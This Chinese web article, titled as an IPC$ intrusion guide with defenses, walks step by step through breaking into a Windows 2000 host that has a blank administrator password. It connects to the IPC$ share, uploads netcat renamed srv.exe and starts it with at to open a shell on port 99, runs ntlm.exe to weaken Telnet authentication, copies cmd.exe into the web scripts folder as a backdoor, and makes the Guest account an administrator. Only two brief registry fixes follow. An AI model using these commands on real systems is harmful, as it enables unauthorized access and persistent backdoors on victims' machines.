当前位置:操作系统 > 玩转网络 >>

IPC入侵工略及防范

答案:

IPC$是Windows的默认共享。北约空炸我国驻南斯拉夫大使馆的黑客大战,就是采用这个共享进行攻击的。

其实,这个共享并没有什么漏洞。

我们可以用主机的管理员用户名和密码连接。

问题就出在管理员密码了。直至现在为止,世界上起码有20%的人,把主机密码设置为“空”或者“123”等简单密码。

我们要寻找这些主机十分简单。只需要一个程序就可以。

下面,我会把以前写的一篇IPC$入侵文章,进行小小的修改。

本次范例需要的系统及程序情况如下:

操作系统:Windows 2000

对方操作系统:Windows 2000

程序(一):流光 IV 国际版 (Fluxay Release IV Build 2914 International Edition For NT/2000/XP)

程序(二):Srv.exe

程序(三):Ntlm.exe

本机IP:127.0.0.1

测试IP:127.0.0.25

新程序介绍:

Srv.exe:实际上是NetCat,这里改名为Srv.exe。用于在主机建立一个端口为99的shell。

Ntlm.exe:是小榕写的一个程序,用于修改Windows 2000 Telnet Servery身份验证的方式。

 

关于扫描的方法,在流光的help目录有一个ipc.mht的文件。里面有使用说明。

假设,我们扫描了一台IPC$主机:127.0.0.25

用户名:davis

密码:空

“//”后是注解。

 

Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.

D:\>net use \\217.0.0.25\IPC$ "" /user:"davis" //这是我用流光扫到的密码~~~我们就拿它开刀吧~!
命令成功完成。


D:\>copy srv.exe \\217.0.0.25\admin$ //先复制srv.exe上去,在流光的Tools目录就有。
已复制 1 个文件。

D:\>net time \\217.0.0.25 //查查时间。
\\217.0.0.25 的当前时间是 2001/1/17 上午 10:48

命令成功完成。


D:\>at \\217.0.0.25 10:50 srv.exe //用at命令启动srv.exe吧~!(这里设置的时间要比主机时间快)先去论坛灌几篇帖子。
新加了一项作业,其作业 ID = 1

D:\>net time \\217.0.0.25 //再查查够时间没有?!噢~~够了~
\\217.0.0.25 的当前时间是 2001/1/17 上午 10:51

命令成功完成。


D:\>telnet 217.0.0.25 99 //我们telnet吧,注意端口是99哦~


Microsoft Windows 2000 [セ 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32> //噢~~成功了!

D:\>copy ntlm.exe \\217.0.0.25\admin$ //我们再开一个DOS窗口,把ntlm.exe上传到主机上。(也是在流光流光的Tools目录)
已复制 1 个文件。

Microsoft Windows 2000 [セ 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32>ntlm //我们输入ntlm启动吧。
ntlm
Windows 2000 Telnet Dump, by Assassin, All Rights Reserved.

Done! //OK~:)

C:\WINNT\system32>
C:\WINNT\system32>net start telnet //然后直接用net start telnet启动telnet.
net start telnet
Telnet 狝叭タ币笆 .
Telnet 狝叭竒币笆Θ //直觉告诉我成功了~!(没办法,这里是乱码)


C:\WINNT\system32>
C:\WINNT\system32> //这个窗口已经没用了,关了他吧!


D:\>telnet 127.0.0.25 //我们在开一个DOS窗口,然后telnet上去。

NTLM Authentication failed due to insufficient credentials. Please login with
clear text username and password
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login: davis //输入用户名

password: //输入密码(密码是空的,所以不用输入)


*===============================================================
舧ㄏノ Microsoft Telnet Server
*===============================================================
C:\>copy c:\winnt\system32\srv.exe c:\inetpub\scripts //留个后门。
╰参тぃ﹚郎

C:\>copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\xiao.exe //再留多个后门。
狡籹 1 郎

C:\>net user guest /active:yes //将Guest用户激活.

磅︽Θ


C:\>net user guest cnhack //将Guest的密码改为cnhack,或者你要设定的密码。

磅︽Θ


C:\>net localgroup administrators guest /add //将Guest变为Administrator。^_^
磅︽Θ

如果管理员把密码更改,而guest帐号没改变的话,下次我们可以用guest再次访问这台计算机。(不过权限就比较小了。——

后门够多了吧~~~~呵呵~~一个跳板就做好了!

C:\>

 

解决方法:

1、禁止建立空连接
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]
RestrictAnonymous = DWORD:00000001

2、禁止管理共享
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
AutoShareServer = DWORD:00000000

上一个:长篇连载中国电脑黑客档案(7)
下一个:利用ASP实现对Web主机硬盘文件的读写

CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,